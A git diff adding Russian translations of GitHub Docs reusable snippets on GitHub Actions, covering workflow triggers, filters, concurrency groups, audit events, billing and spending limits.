47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062757" +--- +actions/labeler@{% ifversion actions-node16-action %}v4{% else %}v3{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-setup-dotnet.md b/translations/ru-RU/data/reusables/actions/action-setup-dotnet.md new file mode 100644 index 000000000000..26e40ab8a058 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-setup-dotnet.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 65524627f71033371ca3d0c0f3c4a59e2a43f1bd +ms.sourcegitcommit: b9d9af066440aa4bfdbc1fac0ada9c65cec22753 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: "148008763" +--- +actions/setup-dotnet@{% ifversion actions-node16-action %}v3{% else %}v1{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-setup-go.md b/translations/ru-RU/data/reusables/actions/action-setup-go.md new file mode 100644 index 000000000000..6673b0cb3485 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-setup-go.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87924fa067ad37309d36df6c726c3534429d11f9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147065099" +--- +actions/setup-go@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-setup-java.md b/translations/ru-RU/data/reusables/actions/action-setup-java.md new file mode 100644 index 000000000000..a6c2a6193683 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-setup-java.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f65fe187c4dc821ef838ca9c95e8b83401039dc0 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147062741" +--- +actions/setup-java@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-setup-node.md b/translations/ru-RU/data/reusables/actions/action-setup-node.md new file mode 100644 index 000000000000..48cc3df0adbc --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-setup-node.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 87c39323784e5c6c29ba662d617b634360bcd7a1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147060325" +--- +actions/setup-node@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-setup-python.md b/translations/ru-RU/data/reusables/actions/action-setup-python.md new file mode 100644 index 000000000000..6524bc86b084 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-setup-python.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 1082161b940302f1bc7359ab617326a7a2b2ece4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "146688952" +--- +actions/setup-python@{% ifversion actions-node16-action %}v4{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-stale.md b/translations/ru-RU/data/reusables/actions/action-stale.md new file mode 100644 index 000000000000..6f7d0f948707 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-stale.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b25606bc4b93bf1d1c5f5de4a4d5777e3c61517b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066811" +--- +actions/stale@{% ifversion actions-node16-action %}v5{% else %}v4{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/action-upload-artifact.md b/translations/ru-RU/data/reusables/actions/action-upload-artifact.md new file mode 100644 index 000000000000..af97a0fa14c8 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/action-upload-artifact.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 0dcaf8a392cb5ab0b7cba7e9b7c8077af040e66b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147064581" +--- +actions/upload-artifact@{% ifversion actions-node16-action %}v3{% else %}v2{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/actions-activity-types.md b/translations/ru-RU/data/reusables/actions/actions-activity-types.md new file mode 100644 index 000000000000..56481df5bf63 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-activity-types.md @@ -0,0 +1,30 @@ +--- +ms.openlocfilehash: 03c7480afe114a1f9fa676f6872be9081289295a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146688936" +--- +Некоторые события имеют типы действий, позволяющие лучше контролировать выполнение рабочего процесса. Используйте `on..types` для определения типа действия для события, которое активирует запуск рабочего процесса. + +Например, событие `issue_comment` имеет типы действий `created`, `edited` и `deleted`. Если рабочий процесс активируется в событии `label`, он будет выполняться при создании, изменении или удалении метки. Если указать тип действия `created` для события `label`, рабочий процесс будет запускаться при создании метки, но не при изменении или удалении метки. + +```yaml +on: + label: + types: + - created +``` + +Если указать несколько типов действий, для активации рабочего процесса потребуется выполнить только один из этих типов действий. Если одновременно происходят несколько типов действий для событий, активирующих рабочий процесс, будет активировано несколько выполнений рабочих процессов. Например, следующий рабочий процесс активируется при открытии проблемы или добавлении для нее метки. Если открывается проблема с двумя метками, начинаются три запуска рабочего процесса: один для события открытия проблемы и два для двух событий проблем с метками. + +```yaml +on: + issues: + types: + - opened + - labeled +``` + +Дополнительные сведения о каждом событии и типах действий событий см. в разделе [События, которые активируют рабочие процессы](/actions/using-workflows/events-that-trigger-workflows). diff --git a/translations/ru-RU/data/reusables/actions/actions-app-actions-permissions-api.md b/translations/ru-RU/data/reusables/actions/actions-app-actions-permissions-api.md new file mode 100644 index 000000000000..360a1e8d828a --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-app-actions-permissions-api.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4572a1029c4ebbf3cf7507da62cf7da579407e0d +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145117051" +--- +Для использования этого API у {% data variables.product.prodname_github_apps %} должно быть разрешение `actions`. diff --git a/translations/ru-RU/data/reusables/actions/actions-audit-events-for-enterprise.md b/translations/ru-RU/data/reusables/actions/actions-audit-events-for-enterprise.md new file mode 100644 index 000000000000..4f8a85ce7599 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-audit-events-for-enterprise.md @@ -0,0 +1,21 @@ +--- +ms.openlocfilehash: ed7e94a18edf6d5c55ba6fb12c5f09236a9f2fe5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114795" +--- +| Действие | Описание +|------------------|------------------- +| `remove_self_hosted_runner` | Активируется при удалении средства выполнения тестов локального размещения. +| `register_self_hosted_runner` | Активируется при регистрации нового локального средства выполнения тестов. Дополнительные сведения см. в разделе [Добавление локальных средств выполнения](/actions/hosting-your-own-runners/adding-self-hosted-runners). +| `runner_group_created` | Активируется при создании группы средства выполнения тестов локального размещения. Дополнительную информацию см. в разделе [Сведения о группах локальных средств выполнения](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#about-self-hosted-runner-groups). +| `runner_group_removed` | Активируется при удалении группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе [Удаление средства выполнения тестов локального размещения в группу](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group). +| `runner_group_runner_removed` | Активируется при использовании REST API для удаления средства выполнения тестов локального размещения из группы. +| `runner_group_runners_added` | Активируется при добавлении средства выполнения тестов локального размещения в группу. Дополнительные сведения см. в разделе [Перемещение локального средства выполнения в группу](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group). +| `runner_group_runners_updated` | Активируется при обновлении списка участников группы средства выполнения тестов. Дополнительные сведения см. в разделе [Настройка локальных средств выполнения в группе для организации](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization). +| `runner_group_updated` | Активируется при изменении конфигурации группы средства выполнения тестов локального размещения. Дополнительные сведения см. в разделе [Изменение политики доступа для группы средства выполнения тестов локального размещения](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group). +| `self_hosted_runner_updated` | Активируется при обновлении приложения средства выполнения тестов. Можно просматривать с помощью REST API и пользовательского интерфейса; не отображается в экспорте JSON/CSV. Дополнительные сведения см. в разделе [Локальные средства выполнения](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners).{% ifversion fpt or ghec %} +| `self_hosted_runner_online` | Активируется при запуске приложения средства выполнения. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе [Проверка статуса средства выполнения тестов локального размещения](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner). +| `self_hosted_runner_offline` | Активируется при остановке приложения средства выполнения тестов. Можно просматривать только с помощью REST API; не отображается в пользовательском интерфейсе или экспорте JSON/CSV. Дополнительные сведения см. в разделе [Проверка состояния локального средства выполнения](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner).{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/actions-audit-events-workflow.md b/translations/ru-RU/data/reusables/actions/actions-audit-events-workflow.md new file mode 100644 index 000000000000..394649e1eb3c --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-audit-events-workflow.md @@ -0,0 +1,20 @@ +--- +ms.openlocfilehash: 4f04b4395ec12d834bc4d8f350b302c09badea6d +ms.sourcegitcommit: 094dff459fcbf7d0634930e02405606dfffd7f0a +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/12/2022 +ms.locfileid: "148163182" +--- +| Действие | Описание +|------------------|------------------- +| `cancel_workflow_run` | Активируется при отмене запуска рабочего процесса. Дополнительные сведения см. в статье [Отмена рабочего процесса](/actions/managing-workflow-runs/canceling-a-workflow). +| `completed_workflow_run` | Активируется при изменении состояния рабочего процесса на `completed`. Отображается только при использовании REST API; не показывается в пользовательском интерфейсе и при экспорте JSON/CSV. Дополнительные сведения см. в статье "[Просмотр журнала выполнения рабочего процесса](/actions/managing-workflow-runs/viewing-workflow-run-history)". +| `created_workflow_run` | Активируется при создании запуска рабочего процесса. Отображается только при использовании REST API; не показывается в пользовательском интерфейсе и при экспорте JSON/CSV. Дополнительные сведения см. в статье [Создание примера рабочего процесса](/actions/learn-github-actions/introduction-to-github-actions#create-an-example-workflow). +| `delete_workflow_run` | Активируется при удалении запуска рабочего процесса. Дополнительные сведения см. в статье [Удаление рабочего процесса](/actions/managing-workflow-runs/deleting-a-workflow-run). +| `disable_workflow` | Активируется при отключении рабочего процесса. +| `enable_workflow` | Активируется при включении рабочего процесса после его отключения `disable_workflow`. +| `rerun_workflow_run` | Активируется при повторном запуске рабочего процесса. Дополнительные сведения см. в статье [Перезапуск рабочего процесса](/actions/managing-workflow-runs/re-running-a-workflow). +| `prepared_workflow_job` | Активируется при запуске задания рабочего процесса. Содержит список секретов, предоставленных заданию. Отображается только при использовании REST API. Он не отображается в веб-интерфейсе {% data variables.product.prodname_dotcom %} и не включен в экспорт JSON/CSV. Дополнительные сведения см. в разделе [События, активирующие рабочие процессы](/actions/reference/events-that-trigger-workflows). +| `approve_workflow_job` | Активируется при утверждении задания рабочего процесса. Дополнительные сведения см. в разделе [Просмотр развертываний](/actions/managing-workflow-runs/reviewing-deployments). +| `reject_workflow_job` | Активируется при отклонении задания рабочего процесса. Дополнительные сведения см. в разделе [Просмотр развертываний](/actions/managing-workflow-runs/reviewing-deployments). diff --git a/translations/ru-RU/data/reusables/actions/actions-authentication.md b/translations/ru-RU/data/reusables/actions/actions-authentication.md new file mode 100644 index 000000000000..4775e959e6df --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-authentication.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: e25ddf153153e38b0a37cd6a69d15215318efbe5 +ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114784" +--- +Этот API доступен для пользователей, прошедших проверку подлинности, {% data variables.product.prodname_oauth_apps %}, и {% data variables.product.prodname_github_apps %}. Маркерам доступа требуется [`repo` область](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes) для закрытых репозиториев и [`public_repo` область](/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes) для репозиториев {% ifversion ghae %}internal{% else %}public{% endif %}. diff --git a/translations/ru-RU/data/reusables/actions/actions-billing.md b/translations/ru-RU/data/reusables/actions/actions-billing.md new file mode 100644 index 000000000000..7e9d2a49d6ec --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-billing.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 92c255b05a1727a4b257add600455543571f49df +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147763719" +--- +{% data variables.product.prodname_actions %} предоставляются бесплатно для стандартных средств выполнения, размещенных на {% data variables.product.prodname_dotcom %} в общедоступных репозиториях, и для локальных средств выполнения. Для частных репозиториев каждая учетная запись {% data variables.product.prodname_dotcom %} получает определенное количество бесплатных минут и место в хранилище для использования со средствами выполнения, размещенными на {% data variables.product.prodname_dotcom %}, в зависимости от продукта, который применяется для этой учетной записи. Использование с превышением предусмотренных объемов регулируется предельными суммами расходов. diff --git a/translations/ru-RU/data/reusables/actions/actions-bundled-with-ghes.md b/translations/ru-RU/data/reusables/actions/actions-bundled-with-ghes.md new file mode 100644 index 000000000000..5ecb101b0970 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-bundled-with-ghes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c142f1899b4c1695ce3b7c98e641b1fbc94f6e75 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145117035" +--- +Большинство официальных действий, созданных пользователем {% data variables.product.prodname_dotcom %}, автоматически объединяются с {% data variables.product.product_name %} и принимаются на конкретный момент времени из {% data variables.product.prodname_marketplace %}. diff --git a/translations/ru-RU/data/reusables/actions/actions-do-not-trigger-workflows.md b/translations/ru-RU/data/reusables/actions/actions-do-not-trigger-workflows.md new file mode 100644 index 000000000000..5dfa0da36be2 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-do-not-trigger-workflows.md @@ -0,0 +1 @@ +When you use the repository's `GITHUB_TOKEN` to perform tasks, events triggered by the `GITHUB_TOKEN`{% ifversion actions-token-updated-triggers %}, with the exception of `workflow_dispatch` and `repository_dispatch`,{% endif %} will not create a new workflow run. This prevents you from accidentally creating recursive workflow runs. For example, if a workflow run pushes code using the repository's `GITHUB_TOKEN`, a new workflow will not run even when the repository contains a workflow configured to run when `push` events occur. diff --git a/translations/ru-RU/data/reusables/actions/actions-filters.md b/translations/ru-RU/data/reusables/actions/actions-filters.md new file mode 100644 index 000000000000..cb3f86151220 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-filters.md @@ -0,0 +1,19 @@ +--- +ms.openlocfilehash: c9db6ca4a418e5107cb3714b70c8112457b1868c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114776" +--- +Некоторые события имеют фильтры, позволяющие лучше контролировать выполнение рабочего процесса. + +Например, событие `push` имеет фильтр `branches`, из-за которого рабочий процесс выполняется только при отправке в ветвь, которая соответствует фильтру `branches`, а не при любой отправке. + +```yaml +on: + push: + branches: + - main + - 'releases/**' +``` diff --git a/translations/ru-RU/data/reusables/actions/actions-group-concurrency.md b/translations/ru-RU/data/reusables/actions/actions-group-concurrency.md new file mode 100644 index 000000000000..f08d1408951f --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-group-concurrency.md @@ -0,0 +1,61 @@ +--- +ms.openlocfilehash: a0c8b24bacdd41e32d9b8bdd0d8850e7a6ada557 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114752" +--- +Если параллельное задание или рабочий процесс добавлены в очередь и выполняется другое задание или рабочий процесс, использующие ту же группу параллелизма в репозитории, то находящиеся в очереди задание или рабочий процесс будут `pending`. Все задания или рабочие процессы в группе параллелизма, находившиеся в состоянии ожидания, будут отменены. Чтобы также отменить задание или рабочий процесс, которые сейчас выполняются в той же группе параллелизма, укажите `cancel-in-progress: true`. + +### Примеры. Использование параллелизма и поведение по умолчанию + +{% raw %} +```yaml +concurrency: staging_environment +``` +{% endraw %} + +{% raw %} +```yaml +concurrency: ci-${{ github.ref }} +``` +{% endraw %} + +### Пример. Использование параллелизма для отмены любого выполняющегося задания или запуска + +{% raw %} +```yaml +concurrency: + group: ${{ github.ref }} + cancel-in-progress: true +``` +{% endraw %} + +### Пример. Использование резервного значения + +Если вы создаете имя группы со свойством, определенным только для определенных событий, можно использовать резервное значение. Например, `github.head_ref` определяется только для событий `pull_request`. Если рабочий процесс реагирует на другие события в дополнение к событиям `pull_request`, необходимо предоставить резервное значение, чтобы избежать синтаксической ошибки. Следующая группа параллелизма отменяет выполняемые задания или запуски только в событиях `pull_request`. Если параметр `github.head_ref` не определен, группа параллелизма перейдет к идентификатору запуска, который будет гарантированно заданным и уникальным. + +{% raw %} +```yaml +concurrency: + group: ${{ github.head_ref || github.run_id }} + cancel-in-progress: true +``` +{% endraw %} + + +### Пример. Отмена только выполняемых заданий или запусков для текущего рабочего процесса + + При наличии нескольких рабочих процессов в одном репозитории имена групп параллелизма должны быть уникальными в разных рабочих процессах, чтобы избежать отмены выполняемых заданий или запусков из других рабочих процессов. В противном случае все ранее выполняемые или ожидающие задания будут отменены независимо от рабочего процесса. + +Чтобы отменить только выполняемые запуски для одного рабочего процесса, можно использовать свойство `github.workflow` для создания группы параллелизма: + +{% raw %} +```yaml +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true +``` +{% endraw %} + diff --git a/translations/ru-RU/data/reusables/actions/actions-multiple-types.md b/translations/ru-RU/data/reusables/actions/actions-multiple-types.md new file mode 100644 index 000000000000..6e59dd6c8e83 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-multiple-types.md @@ -0,0 +1,26 @@ +--- +ms.openlocfilehash: 4c39c079fb88a8a1b86ed9359ebe55be268389bb +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114747" +--- +Если вы указываете типы действий или фильтры для события и триггеры рабочего процесса для нескольких событий, необходимо настроить каждое событие отдельно. Необходимо добавить двоеточие (`:`) ко всем событиям, включая события без конфигурации. + +Например, рабочий процесс со следующим значением `on` будет выполняться в следующих случаях: + +- создание метки; +- отправка в ветвь `main` в репозитории; +- отправка в ветвь с поддержкой {% data variables.product.prodname_pages %}. + +```yaml +on: + label: + types: + - created + push: + branches: + - main + page_build: +``` diff --git a/translations/ru-RU/data/reusables/actions/actions-not-certified-by-github-comment.md b/translations/ru-RU/data/reusables/actions/actions-not-certified-by-github-comment.md new file mode 100644 index 000000000000..afb061f5125b --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-not-certified-by-github-comment.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 52a25d888e4e83bf5d93151ef04b51908732e8e1 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145114731" +--- +# Этот рабочий процесс использует действия, которые не сертифицированы GitHub. +# Они предоставляются сторонним поставщиком, и на них распространяются +# отдельные условия обслуживания, политика конфиденциальности и поддержка +# документации. diff --git a/translations/ru-RU/data/reusables/actions/actions-not-verified.md b/translations/ru-RU/data/reusables/actions/actions-not-verified.md new file mode 100644 index 000000000000..03866990c495 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-not-verified.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 355d2257808b3b72570cda4aee3ec69959fd6df3 +ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147879186" +--- +Любой пользователь может опубликовать действие в {% data variables.product.prodname_marketplace %}. {% data variables.product.prodname_dotcom %} проверяет некоторые партнерские организации, и они отображаются как проверенные создатели. diff --git a/translations/ru-RU/data/reusables/actions/actions-on-examples.md b/translations/ru-RU/data/reusables/actions/actions-on-examples.md new file mode 100644 index 000000000000..d6fdf0ff8d5e --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-on-examples.md @@ -0,0 +1,27 @@ +--- +ms.openlocfilehash: 48c28509a3d2ed248cec80b27621fd99bb7141b1 +ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878703" +--- +### Использование одного события + +{% data reusables.actions.on-single-example %} + +### Использование нескольких событий + +{% data reusables.actions.on-multiple-example %} + +### Использование типов действий + +{% data reusables.actions.actions-activity-types %} + +### Использование фильтров + +{% data reusables.actions.actions-filters %} + +### Использование типов действий и фильтров с несколькими событиями + +{% data reusables.actions.actions-multiple-types %} diff --git a/translations/ru-RU/data/reusables/actions/actions-packages-set-spending-limit.md b/translations/ru-RU/data/reusables/actions/actions-packages-set-spending-limit.md new file mode 100644 index 000000000000..359b4b6adbaa --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-packages-set-spending-limit.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f911d76b4780d748f11fe29db53bc199fe567cb2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145114720" +--- +Вы можете задать определенную предельную сумму расходов или (для некоторых учетных записей) разрешить неограниченные расходы. Предельная сумма расходов применяется к совокупным избыткам для {% data variables.product.prodname_registry %} и {% data variables.product.prodname_actions %}. diff --git a/translations/ru-RU/data/reusables/actions/actions-spending-limit-brief.md b/translations/ru-RU/data/reusables/actions/actions-spending-limit-brief.md new file mode 100644 index 000000000000..6879b58395d0 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-spending-limit-brief.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9ae870fb9e12c6f3240cc470e7fd5e87adcdb34e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145114715" +--- +Если счета выставляются вам ежемесячно, ваша учетная запись будет иметь предельную сумму расходов по умолчанию, равную 0 долларам США (USD), что делает невозможным дополнительное использование минут или места в хранилище для частных репозиториев сверх объемов, предусмотренных для вашей учетной записи. Если вы оплачиваете учетную запись по счету, предельная сумма расходов по умолчанию для вашей учетной записи будет неограниченной. diff --git a/translations/ru-RU/data/reusables/actions/actions-spending-limit-detailed.md b/translations/ru-RU/data/reusables/actions/actions-spending-limit-detailed.md new file mode 100644 index 000000000000..ae037f4ec651 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-spending-limit-detailed.md @@ -0,0 +1,5 @@ +{% data reusables.actions.actions-spending-limit-brief %} + +If you have an unlimited spending limit or a spending limit set higher than $0 USD, you will be billed for any additional minutes or storage beyond the included amounts in your account, also called overages. {% data variables.product.prodname_dotcom %} charges usage to the account that owns the repository where a workflow is run. Any coupons on your account do not apply to {% data variables.product.prodname_actions %} overages. + +{% data reusables.billing.overages-billed-monthly %} diff --git a/translations/ru-RU/data/reusables/actions/actions-unused-labels.md b/translations/ru-RU/data/reusables/actions/actions-unused-labels.md new file mode 100644 index 000000000000..690f7d5449b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-unused-labels.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c40864cd5639004fe565261c037a03b60652c7c9 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147882846" +--- + Все неиспользуемые метки, которые не были назначены средству выполнения, будут автоматически удалены в течение 24 часов. diff --git a/translations/ru-RU/data/reusables/actions/actions-use-policy-settings.md b/translations/ru-RU/data/reusables/actions/actions-use-policy-settings.md new file mode 100644 index 000000000000..25c4cb77b0e9 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-use-policy-settings.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: d12805516bcd1d9b079acc9d1260d887bac27eed +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "146179722" +--- +Если выбрать {% data reusables.actions.policy-label-for-select-actions-workflows %}, действия {% ifversion actions-workflow-policy %}и многократно используемые рабочие процессы{% endif %} {% ifversion ghec or ghes or ghae %}вашего предприятия{% else %}вашей организации{% endif %} будут разрешены. При этом будут доступны дополнительные параметры для разрешения других отдельных действий{% ifversion actions-workflow-policy %} и многократно используемых рабочих процессов{% endif %}. Дополнительные сведения см. в статье [Разрешение выполнения действий выбора{% ifversion actions-workflow-policy %} и многократно используемых рабочих процессов{% endif %}](#allowing-select-actions{% ifversion actions-workflow-policy %}-and-reusable-workflows{% endif %}-to-run). + +{% ifversion ghec or fpt %}Если разрешить действия{% ifversion actions-workflow-policy %} и многократно используемые рабочие процессы только из{% else %} локальной среды{% endif %} {% ifversion ghec or ghes or ghae %}среды предприятия{% else %}организации{% endif %}, политикой будут блокироваться все попытки доступа к действиям, созданным {% data variables.product.prodname_dotcom %}. Например, действие [`actions/checkout`](https://github.com/actions/checkout) будет недоступно.{% endif %} diff --git a/translations/ru-RU/data/reusables/actions/actions-use-sha-pinning-comment.md b/translations/ru-RU/data/reusables/actions/actions-use-sha-pinning-comment.md new file mode 100644 index 000000000000..b464a0a1bcb6 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/actions-use-sha-pinning-comment.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 70d819d0afd8c82d59ef2ab00789330112442b02 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "147409870" +--- +# GitHub рекомендует закрепить действия в фиксации SHA. +# Чтобы получить более новую версию, потребуется обновить SHA. +# Вы также можете ссылаться на тег или ветвь, однако действие может измениться без предупреждения. diff --git a/translations/ru-RU/data/reusables/actions/add-hosted-runner-overview.md b/translations/ru-RU/data/reusables/actions/add-hosted-runner-overview.md new file mode 100644 index 000000000000..8299af2acf04 --- /dev/null +++ b/translations/ru-RU/data/reusables/actions/add-hosted-runner-overview.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 955bbcc4f03b8a3a810f282c74230f220908f6b8 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109082" +--- +Вы можете выбрать операционную систему и конфигурацию оборудования из списка доступных вариантов. При развертывании новых экземпляров этого средства выполнения с помощью автомасштабирования они будут использовать ту же операционную систему и конфигурацию оборудования, которую вы определили здесь. + +Вы также можете определить метки для средства выполнения, чтобы рабочие процессы могли отправлять задания в средства выполнения для обработки (с помощью `runs-on`). Новые средства выполнения автоматически назначаются группе по умолчанию, или вы можете выбрать, к какой группе должны присоединяться средства выполнения во время создания. Кроме того, после регистрации средства выполнения вы можете изменить его группу. Дополнительные сведения см. в разделе [Управление доступом к {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/controlling-access-to-larger-runners). diff --git a/translations/ru-RU/data/reusables/actions/add-hosted-runner.md 